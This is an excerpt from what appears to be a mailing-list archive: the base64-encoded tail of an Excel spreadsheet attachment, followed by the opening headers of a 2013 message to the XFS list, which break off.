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 --=====003_Dragon886563806106_=====-- From tinguely@sgi.com Mon Jul 29 16:07:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: 